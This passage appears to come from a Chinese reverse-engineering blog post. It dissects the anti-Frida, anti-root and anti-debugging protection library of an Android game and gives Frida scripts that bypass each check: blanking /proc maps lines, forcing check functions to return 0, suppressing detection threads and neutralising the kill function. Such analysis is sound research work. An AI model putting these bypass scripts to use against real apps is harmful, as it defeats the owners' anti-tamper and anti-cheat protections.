的內容是否與以下字符串相等,是則代表被檢測到。
可以看到pool-frida
、gum-js-loop
、gbus
、gamin
這些熟悉的frida特徵。
回到check_something
函數,繼續看do_something2
。
一開始先打開了/proc/<tid>/maps
,然後調用check_maybe_io_redirect
進行一些檢查,arg0是fopen
返回的fp
,arg1是\\"/proc/<tid>/maps\\"
。
深入check_maybe_io_redirect
看看具體做了什麼。
check_maybe_io_redirect
中調用了check_fd
。
check_fd
的檢測邏輯如下:
sprintf
構造一個諸如\\"/proc/16875/fd/38\\"
的字符串,其中的38
就是上述fopen
的返回值。readlink
將/proc/16875/fd/38
符號鏈接的內容( 類似/proc/16875/maps
)存儲到buf1
中。proc_maps
和buf1
,正常來說它們要是相等的,都是/proc/<pid>/maps
注:cmp_func1
類似strcmp
,相等才返回0
。
綜上分析,感覺大概是在檢測IO重定向?我沒有進一步測試,所以也不太確定。
\\n回到do_something2
函數繼續看,中間是一大段對proc_maps的判斷和操作,感覺不太重要。
最後又調用了一次check_maybe_io_redirect
,然後保存了base.apk的一些信息。
至此分析完init_array_func1
的一些較為重要的函數。
在靜態分析時只能看到有一個.init_array函數,實際上有2個,在執行完init_array_func1
後單步慢慢走就能走到init_array_func2
( 或者在linker打斷點也可以 )。
只調用了一個函數,直接進去看看。
\\n
一開始是一段字符串解密邏輯,解密結果是/linker
,然後調用like_strcpy
賦給v24
。
然後會調用like_dlopen
,它會打開一個新的linker並進行一些初始化。
進入like_dlopen
看看它是如何實現的。
get_linker_startaddr
中會獲取原linker
的起始地址( 存放在*((_QWORD *)a1 + 3)
),然後調用openat + mmap
將新的linker映射進內存。
之後是一個while循環,通過與linker的原文件對比( 用010來進行字節對比 )發現,這是在遍歷setion header tables,並根據s_type
進行一些初始化。所以結果都保存在a1 + x
。
總的來說like_dlopen
像是一個簡易版的dlopen
。
回到上一層,在like_dlopen
後調用了數個like_dlsym
獲取一些符號,並保存在不同的全局變量中。其中的g_solist
、g_soinfo_get_realpath_func
、g_soinfo_get_soname
在之後的分析中會出現。
而具體like_dlsym
的實現就不看了,是一堆很抽象的計算,反正從結果來看它類似dlsym
。
最終調用一個函數清理一開始open + mmap
映射進內存的那個linker,然後就返回了。
總的來說init_array_func2
裡做了一堆與linker相關的操作,獲取了一些linker函數,大概會在之後的一些檢測點。
通過上述對.init_array函數的分析,可以發現一些經常出現與字符串有關的函數like_strcpy
、a1_contain_a2
、cmp_func1
、cmp_func2
等等。
其中的like_strcpy
通常會在字符串解密邏輯執行後調用,可以算是最接近解密字符串的一個函數,因此嘗試hook like_strcpy
看看。
在此之前先解決frida檢測的問題,從上述分析可以知道是如何檢測的,因此我一開始的想法是hook fgets
抹寫/data/local
特徵,同時fgets
也是本例.init_array中執行時機較早的函數,因此可以以fgets
為跳板去hook其他在.init_array時機執行的函數( 如like_strcpy
)。
function addr_in_so(addr){\\n var process_Obj_Module_Arr = Process.enumerateModules();\\n for(var i = 0; i < process_Obj_Module_Arr.length; i++) {\\n if(addr>process_Obj_Module_Arr[i].base && addr<process_Obj_Module_Arr[i].base.add(process_Obj_Module_Arr[i].size)){\\n console.log(addr.toString(16),\\"is in\\",process_Obj_Module_Arr[i].name,\\"offset: 0x\\"+(addr-process_Obj_Module_Arr[i].base).toString(16));\\n }\\n }\\n}\\n\\nlet hooked = false;\\nfunction hook_fgets() {\\n Interceptor.attach(Module.findExportByName(null, \\"fgets\\"), {\\n onEnter: function(args) {\\n this.res = args[0];\\n },\\n onLeave: function() {\\n let res = this.res.readCString();\\n // 1. bypass anti-frida\\n if (res.indexOf(\\"/data/local/ng1ok/ng1ok_server/ng1ok-64.so\\") != -1) {\\n Memory.writeUtf8String(this.res, \\" \\");\\n if(!hooked) {\\n hooked = true;\\n // 2. hook .init_array\\n start_hook();\\n }\\n }\\n }\\n })\\n}\\n\\nfunction start_hook() {\\n\\n function hook_like_strcpy(base) {\\n let count = 0;\\n Interceptor.attach(base.add(0xE384), {\\n onEnter: function(args) {\\n console.log(\\"a1: \\", args[1].readCString());\\n }\\n })\\n }\\n\\n let base = Module.findBaseAddress(\\"libdyzzwwc.so\\");\\n console.log(\\"base: \\", base);\\n hook_like_strcpy(base);\\n}\\n\\nfunction main() {\\n hook_fgets();\\n}\\n\\nsetImmediate(main);\\n\\n
結果是雖然frida不會再直接Process terminated
,但依會彈窗提示,代表仍然有其他的frida檢測邏輯。
hook_like_strcpy
打印了很多東西,只列出一些我看到且認為比較重要的:
// 1. 有點像完整性檢測\\na1: /libAdaptivePerformanceAndroid.so/libAdaptivePerformanceHint.so/libAdaptivePerformanceThermalHeadroom.so/libAndroidCpuUsage.so/libEncryptorP.so/libFirebaseCppAnalytics.so/libFirebaseCppApp-11_9_0.so/lib_burst_generated.so/libapminsighta.so/libapminsightb.so/libapplovin-native-crash-reporter.so/libbuffer_pg.so/libdyzzwwc.so/libfile_lock_pg.so/libil2cpp.so/libmain.so/libnative-googlesignin.so/libnms.so/libtobEmbedPagEncrypt.so/libunity.so\\na1: .\\na1: .\\na1: null:0:0:0:29256:0:d7db4753:5.1.1.139:null:10:10\\na1: null\\na1: 5.1.1.139\\na1: d7db4753\\n\\n// 2. root\\na1: /system/xbin/su\\na1: /system/bin/su\\na1: /sbin/su\\na1: /cache/su\\na1: /data/local/bin/su\\na1: /data/local/su\\na1: /data/local/xbin/su\\na1: /data/su\\na1: /system/bin/su\\na1: /system/xbin/bstk/su\\n\\n// 3. magisk\\na1: /system/bin/magisk\\na1: /system/bin/magiskinit\\na1: /system/bin/magiskpolicy\\n\\n// 4. android屬性?\\na1: /dev/__properties__/property_info\\n\\n// 5. maybe frida?\\na1: ng1ok-64.so\\na1: FF130916\\na1: /proc/self/net/unix\\na1: 7c3551fe3618\\n\\n// 6. others\\na1: USB Connected\\na1: Alertdialog\\na1: debuggable\\n\\n
注:其實只要hook check1
讓其固定返回0
就能完全bypass,但由於我比較好奇另一個frida檢測的實現邏輯,因此才進行了接下來的操作。
同上面那樣hook like_strcpy
,在遇到\\"ng1ok-64.so\\"
時打印調用棧。
function hook_like_strcpy(base) {\\n let count = 0;\\n Interceptor.attach(base.add(0xE384), {\\n onEnter: function(args) {\\n if(args[1].readCString().indexOf(\\"ng1ok-64.so\\") != -1) {\\n console.log(\\"a1: \\", args[1].readCString());\\n Thread.backtrace(this.context, Backtracer.FUZZY).map(addr_in_so);\\n }\\n }\\n })\\n}\\n\\n
打印調用棧如下:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | a1: /data/local/ng1ok/ng1ok_server/ng1ok-64 .so 7a0dd2b20c is in libdyzzwwc.so offset: 0x1720c 7a0dd37864 is in libdyzzwwc.so offset: 0x23864 7a7bbd1974 is in libart.so offset: 0x5ab974 7a211ff25c is in ng1ok-64.so offset: 0x8e925c 7a211ff25c is in ng1ok-64.so offset: 0x8e925c 7a2120830c is in ng1ok-64.so offset: 0x8f230c 7a0dd38624 is in libdyzzwwc.so offset: 0x24624 7a2120851c is in ng1ok-64.so offset: 0x8f251c 7a0dd3819c is in libdyzzwwc.so offset: 0x2419c 7a0dd3819c is in libdyzzwwc.so offset: 0x2419c 7afe1af0a4 is in libdl.so offset: 0x10a4 7a0dd380e0 is in libdyzzwwc.so offset: 0x240e0 7a0dd66310 is in libdyzzwwc.so offset: 0x52310 7a7b766354 is in libart.so offset: 0x140354 a1: ng1ok-64.so 7a0dd37a9c is in libdyzzwwc.so offset: 0x23a9c 7a0dd38624 is in libdyzzwwc.so offset: 0x24624 7a2120851c is in ng1ok-64.so offset: 0x8f251c 7a0dd3819c is in libdyzzwwc.so offset: 0x2419c 7a0dd3819c is in libdyzzwwc.so offset: 0x2419c 7afe1af0a4 is in libdl.so offset: 0x10a4 7a0dd380e0 is in libdyzzwwc.so offset: 0x240e0 7a0dd66310 is in libdyzzwwc.so offset: 0x52310 7a7b766354 is in libart.so offset: 0x140354 7afcf0da18 is in libc.so offset: 0xdea18 7a0dd2c0f0 is in libdyzzwwc.so offset: 0x180f0 7a0dd50ee0 is in libdyzzwwc.so offset: 0x3cee0 7afcebe0ac is in libc.so offset: 0x8f0ac 5c85f0a570 is in app_process64 offset: 0x5570 a1: ng1ok-64.so 7a0dd37d1c is in libdyzzwwc.so offset: 0x23d1c 7a0dd38624 is in libdyzzwwc.so offset: 0x24624 7a2120851c is in ng1ok-64.so offset: 0x8f251c 7a0dd3819c is in libdyzzwwc.so offset: 0x2419c 7a0dd3819c is in libdyzzwwc.so offset: 0x2419c 7afe1af0a4 is in libdl.so offset: 0x10a4 7a0dd380e0 is in libdyzzwwc.so offset: 0x240e0 7a0dd66310 is in libdyzzwwc.so offset: 0x52310 7a7b766354 is in libart.so offset: 0x140354 7afcf0da18 is in libc.so offset: 0xdea18 7a0dd2c0f0 is in libdyzzwwc.so offset: 0x180f0 7a0dd386cc is in libdyzzwwc.so offset: 0x246cc 7afcf12730 is in libc.so offset: 0xe3730 a1: ng1ok-64.so 7a0dd633e4 is in libdyzzwwc.so offset: 0x4f3e4 7a7b766354 is in libart.so offset: 0x140354 a1: /data/local/ng1ok/ng1ok_server/ng1ok-64 .so 7a0dd36328 is in libdyzzwwc.so offset: 0x22328 7a0dd388d0 is in libdyzzwwc.so offset: 0x248d0 a1: /data/local/ng1ok/ng1ok_server/ng1ok-64 .so 7a0dd633e4 is in libdyzzwwc.so offset: 0x4f3e4 7a7b766354 is in libart.so offset: 0x140354 |
可以看到有一堆不同的地方,一開始還以為有那麼多不同的frida檢測邏輯,打算一個一個替換看看。
\\nfunction hook_like_strcpy(base) {\\n let count = 0;\\n Interceptor.attach(base.add(0xE384), {\\n onEnter: function(args) {\\n if(args[1].readCString().indexOf(\\"ng1ok-64.so\\") != -1) {\\n if(count++ == 0) {\\n Memory.writeUtf8String(args[1], \\"tteesstt\\");\\n }\\n console.log(\\"a1: \\", args[1].readCString());\\n Thread.backtrace(this.context, Backtracer.FUZZY).map(addr_in_so);\\n }\\n }\\n })\\n}\\n\\n
誰知道在替換第一個後,就只剩一個調用棧了。
\\n而且APP顯示的檢測點也從ng1ok-64.so
變成debuggable
。
a1: tteesstt\\n7a0ee2c20c is in libdyzzwwc.so offset: 0x1720c\\n7a0ee38864 is in libdyzzwwc.so offset: 0x23864\\n7a7bbd1974 is in libart.so offset: 0x5ab974 \\n7a211ff25c is in ng1ok-64.so (deleted) offset: 0x8e925c\\n7a211ff25c is in ng1ok-64.so (deleted) offset: 0x8e925c\\n7a2120830c is in ng1ok-64.so (deleted) offset: 0x8f230c\\n7a0ee39624 is in libdyzzwwc.so offset: 0x24624\\n7a2120851c is in ng1ok-64.so (deleted) offset: 0x8f251c\\n7a0ee3919c is in libdyzzwwc.so offset: 0x2419c\\n7a0ee3919c is in libdyzzwwc.so offset: 0x2419c\\n7afe1af0a4 is in libdl.so offset: 0x10a4\\n7a0ee390e0 is in libdyzzwwc.so offset: 0x240e0\\n7a0ee67310 is in libdyzzwwc.so offset: 0x52310\\n7a7b766354 is in libart.so offset: 0x140354\\n\\n
看到上述調用棧libdyzzwwc.so offset: 0x240e0
調用了libdl.so offset: 0x10a4
,動調看看。
發現調用了dl_iterate_phdr
,這個函數的作用大概是會遍歷所依賴的共享庫,對每個對象都調用一次回調。
要單步F7
才能慢慢跟到callback_func
裡面。
然後會跟到linker64
的dl__Z18do_dl_iterate_phdrPFiP12dl_phdr_infomPvES1
,在這裡調用上述的callback_func
。
跟入callback_func
,不知為何F5
的結果與匯編的結果不一致( 大概是IDA對某些函數錯誤的分析所導致的連鎖效應 ),只能從匯編視圖繼續跟。
x0
為\\"/system/bin/linker64\\"
,x1
為libdl.so
,cmp_func1
類似strcmp
,相等才會返回0
x0
為\\"/system/bin/linker64\\"
,x1
為/data/app
,cmp_func2
同樣類似strcmp
。
x0
為\\"/system/bin/linker64\\"
,x1
為packagename,x0
包含x1
時才為true,否則會走到check_smaps
函數。
跟了一會可以總結出,x0
就是dl_iterate_phdr
遍歷時傳給callback_func
的共享庫名字。
callback_func
的大概邏輯就是將除了libdl.so
、以/data/app/
開頭、包含packagename的so都過濾後,然後調用check_smaps
檢查。
而check_smaps
會調用check1
。
再來回顧下check1
,裡面有一段這樣的檢測,而由於我魔改的frida-agent-<arch>.so
放在了/data/local
目錄下,所以才會被檢測到。
試下直接將check1
固定返回0
,看看可否bypass。
function hook_check1(base) {\\n // 1643C\\n Interceptor.attach(base.add(0x1643C), {\\n onEnter: function(args) {\\n },\\n onLeave: function(retval) {\\n if(retval.toInt32() != 0) {\\n console.log(`bypass check1 (before retval: ${retval})`)\\n retval.replace(0);\\n\\n }\\n }\\n })\\n}\\n\\n
成功,不再顯示ng1ok-64.so
,而是顯示debuggable
。
小結:
\\n除了fopen(\\"/proc/<pid>/maps\\") + fgets
這套組合技外,還可以通過dl_iterate_phdr
來實現類似遍歷/proc/<pid>/maps
的效果,因此我一開始hook fgets
時才無法bypass。
會觸發這個檢測是大概是因為我的手機環境是自定制的AOSP,我設置了所有APP默認有debuggable權限。
\\n為了驗證是否如我所想,我將APP debuggable權限改成了可切換的模式。
\\n
可以看到,關閉debuggable的狀態下是可以正常進入遊戲的。
\\n
但關了debuggable權限後就無法動調了,這很不好。嘗試過找具體的檢測代碼,想針對性地bypass,但沒找到。
\\n最終的解決方案是patch掉導致APP閃退的函數來bypass,後文會說明是哪個函數。
\\n在動調.init_array函數的過程中,會對其中用到的一些函數下斷點。
\\n某次調試完.init_array後按F9
繼續運行,發現斷在了某個地方,向上回溯能來到另一個超大的檢測函數,我將其命名為after_initarray_check2
。
一開始沒有細究after_initarray_check2
是誰調用的,後來想了想明顯是Java層調用的native函數。
將APP拉入jadx,查找dyzzwwc
。
其中只有一個native函數,顯然就是它。
\\n同時會發現Java層做了一些混淆,但目前並不需要分析Java層,因此也無所謂了。
\\n
之後各種檢測的上層調用棧都是after_initarray_check2
,因此這裡先小小分析一下它的來源。
在動調after_initarray_check2
時,會發現IDA越來越卡,而且經常亂跳,經常crash,經常卡住不動。
一開始還以為是IDA的老問題( IDA動調有時候是真的卡… ),但漸漸感到不太對,直到在某處看到pthread_create
才恍然大悟,猜測大概是after_initarray_check2
啟動了一堆線程。
hook了pthread_create
後發現果然如此,創建了N個線程,數了下總共有11
個不同的線程回調函數。
後面會繼續分析這些線程到底在檢測什麼,現在先嘗試bypass,目的是讓frida可以正常hook APP( 並且解決debuggable
檢測 )而不閃退。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | so_name libdyzzwwc.so offset 0x2d4c4 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd444c4 so_name libdyzzwwc.so offset 0x11368 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd28368 so_name libdyzzwwc.so offset 0x25fa8 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd3cfa8 so_name libdyzzwwc.so offset 0x44834 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd5b834 so_name libdyzzwwc.so offset 0x15f30 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd2cf30 so_name libdyzzwwc.so offset 0x45a68 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd5ca68 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0x332a4 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd4a2a4 so_name libdyzzwwc.so offset 0x112e4 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd282e4 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0x39e18 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd50e18 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0xf2d0 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd262d0 so_name libdyzzwwc.so offset 0x2466c path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd3b66c so_name libdyzzwwc.so offset 0x112e4 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd282e4 so_name libdyzzwwc.so offset 0x112e4 path /data/app/net.gameduo.tbd-BHl5bEYewEh0AB6f_qEItw==/lib/arm64/libdyzzwwc.so parg2 0x7a0dd282e4 |
APP啟動了那麼多的線程,相關的檢測邏輯大概都在其中,因此嘗試直接patch掉所有線程。
\\n結果是APP雖然不會再彈出Alert Dialog,但會在進度條加載到某個時刻時閃退。
\\n嘗試hook動調時發現的kill_func
,看看會否觸發,順便打印調用棧。
function hook_exit(base) {\\n // 0x10CFC\\n Interceptor.attach(base.add(0x10CFC), {\\n onEnter: function() {\\n console.log(\\"call kill func\\");\\n Thread.backtrace(this.context, Backtracer.FUZZY).map(addr_in_so);\\n }\\n })\\n}\\n\\n
的確會觸發,跳到對應位置繼續分析
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | call kill func 7a0dc27fa0 is in libdyzzwwc.so offset: 0x10fa0 7a0dc65738 is in libdyzzwwc.so offset: 0x4e738 7a7b766354 is in libart.so offset: 0x140354 7a7b75d5bc is in libart.so offset: 0x1375bc 7a7b76bfb0 is in libart.so offset: 0x145fb0 7a7b90cc94 is in libart.so offset: 0x2e6c94 7a7b908cb4 is in libart.so offset: 0x2e2cb4 7a7b908b70 is in libart.so offset: 0x2e2b70 7a7bbd7150 is in libart.so offset: 0x5b1150 7a7b757c98 is in libart.so offset: 0x131c98 7a7bbd4564 is in libart.so offset: 0x5ae564 7a7b757998 is in libart.so offset: 0x131998 7a7bbd4564 is in libart.so offset: 0x5ae564 7a7bbd4788 is in libart.so offset: 0x5ae788 7a2111fcb0 is in ng1ok-64.so offset: 0x7eecb0 7a7b757998 is in libart.so offset: 0x131998 |
發現是pthread_func9
( 我命名的第9個檢測線程 )創建失敗所導致。
嘗試讓pthread_func9
順利創建
// 在hook pthread_create中放行pthread_func9\\nif(offset == 0x112E4) { // 0x112E4: offset of pthread_func9\\n console.log(\\"pass pthread_func9\\");\\n return pthread_create(parg0, parg1, parg2, parg3)\\n}\\n\\n
之後雖然能順利進入遊戲,但過一陣子同樣閃退。
\\ncall kill func\\n7a0dc142dc is in libdyzzwwc.so offset: 0x112dc\\n7a0dc14368 is in libdyzzwwc.so offset: 0x11368\\n7afcf12730 is in libc.so offset: 0xe3730\\n7afceb3008 is in libc.so offset: 0x84008\\n\\n
由此可知各個檢測線程存在一定程度上的耦合,牽一髮則動全身。
\\n最終的通用bypass手段是從kill_func
入手( 猜測所有閃退都會調用kill_func
),嘗試直接patch掉kill_func
,讓它固定返回0
,成功讓APP與frida都不再閃退。
function patch_exit(base) {\\n // 0x10CFC\\n Interceptor.replace(base.add(0x10CFC), new NativeCallback(() => {\\n console.log(\\"call kill func\\");\\n return 0;\\n }, \\"int\\", []))\\n}\\n\\n
至此我遇到的2個反調試都已成功繞過,但我同樣比較好奇其他檢測線程干了什麼,因此下文會繼續分析看看其他線程( 不會全部線程都分析 )。
\\n通過frida + IDA來動調( 而不是adb shell am start -D -n XXX
那種方式 ),這樣做的目的是:
kill_func
來防止閃退。function hook_pthread() {\\n\\n var pthread_create_addr = Module.findExportByName(null, \'pthread_create\');\\n console.log(\\"pthread_create_addr,\\", pthread_create_addr);\\n\\n var pthread_create = new NativeFunction(pthread_create_addr, \\"int\\", [\\"pointer\\", \\"pointer\\", \\"pointer\\", \\"pointer\\"]);\\n\\n Interceptor.replace(pthread_create_addr, new NativeCallback(function (parg0, parg1, parg2, parg3) {\\n var so_name = Process.findModuleByAddress(parg2).name;\\n var so_path = Process.findModuleByAddress(parg2).path;\\n var so_base = Module.getBaseAddress(so_name);\\n var offset = parg2 - so_base;\\n // if(so_name.indexOf(\\"libdyzzwwc.so\\") != -1)\\n // console.log(\\"so_name\\", so_name, \\"offset\\", ptr(offset), \\"path\\", so_path, \\"parg2\\", parg2);\\n var PC = 0;\\n if ((so_name.indexOf(\\"libdyzzwwc.so\\") > -1)) {\\n // console.log(\\"find thread func offset\\", so_name, offset);\\n\\n // if(offset == 0x112E4) { // maybe the Alert Dialog\\n // console.log(\\"ignore to patch: pthread_func9\\");\\n // return pthread_create(parg0, parg1, parg2, parg3)\\n // }\\n\\n // if(offset == 0x332A4) {\\n // console.log(\\"ignore to patch: pthread_func8_check_app_debuggable\\");\\n // return pthread_create(parg0, parg1, parg2, parg3)\\n // }\\n\\n // if(offset == 0x2D4C4) { // nothing\\n // console.log(\\"ignore to patch: pthread_func1\\");\\n // return pthread_create(parg0, parg1, parg2, parg3)\\n // }\\n\\n // if(offset == 0x112A0) { // nothing\\n // console.log(\\"ignore to patch: pthread_func2\\");\\n // return pthread_create(parg0, parg1, parg2, parg3)\\n // }\\n\\n // if(offset == 0x25FA8) { // nothing\\n // console.log(\\"ignore to patch: pthread_func3\\");\\n // return pthread_create(parg0, parg1, parg2, parg3)\\n // }\\n \\n // if(offset == 0x44834) { // nothing\\n // console.log(\\"ignore to patch: pthread_func4\\");\\n // return pthread_create(parg0, parg1, parg2, parg3)\\n // }\\n\\n // if(offset == 0x15F30) { // nothing\\n // console.log(\\"ignore to patch: pthread_func5\\");\\n // return pthread_create(parg0, parg1, parg2, parg3)\\n // }\\n\\n // if(offset == 0x45A68) { // detect: net.gameduo.tbd.apk\\n // console.log(\\"ignore to patch: pthread_func6\\");\\n // return pthread_create(parg0, parg1, parg2, parg3)\\n // }\\n\\n // if(offset == 0xF2D0) { // nothing\\n // console.log(\\"ignore to patch: pthread_func7\\");\\n // return pthread_create(parg0, parg1, parg2, parg3)\\n // }\\n \\n // if(offset == 0x39E18) { // shamiko??\\n // // 前置: pthread_func6、pthread_func7、pthread_func9\\n // console.log(\\"ignore to patch: pthread_func10\\");\\n // return pthread_create(parg0, parg1, parg2, parg3)\\n // }\\n \\n if(offset == 0x2466C) { // nothing\\n console.log(\\"ignore to patch: pthread_func11\\");\\n return pthread_create(parg0, parg1, parg2, parg3)\\n }\\n\\n \\n } else {\\n PC = pthread_create(parg0, parg1, parg2, parg3);\\n // console.log(\\"ordinary sequence\\", PC)\\n }\\n return PC;\\n }, \\"int\\", [\\"pointer\\", \\"pointer\\", \\"pointer\\", \\"pointer\\"]))\\n\\n}\\n\\n
patch nanosleep
,對本例來說,它會導致動調時卡住不動,大概也是由某個反調試邏輯觸發的,直接讓其固定返回0
就可以。
function hook_nanosleep() {\\n Interceptor.replace(Module.findExportByName(null, \\"nanosleep\\"), new NativeCallback(() => {\\n return 0;\\n }, \\"int\\", [\\"pointer\\", \\"pointer\\"]))\\n}\\n\\n
最好是在對應的pthread_create
和對應的線程回調函數裡都下斷點,只在線程的回調函數裡下斷點可能會失敗。
斷在對應的pthread_create
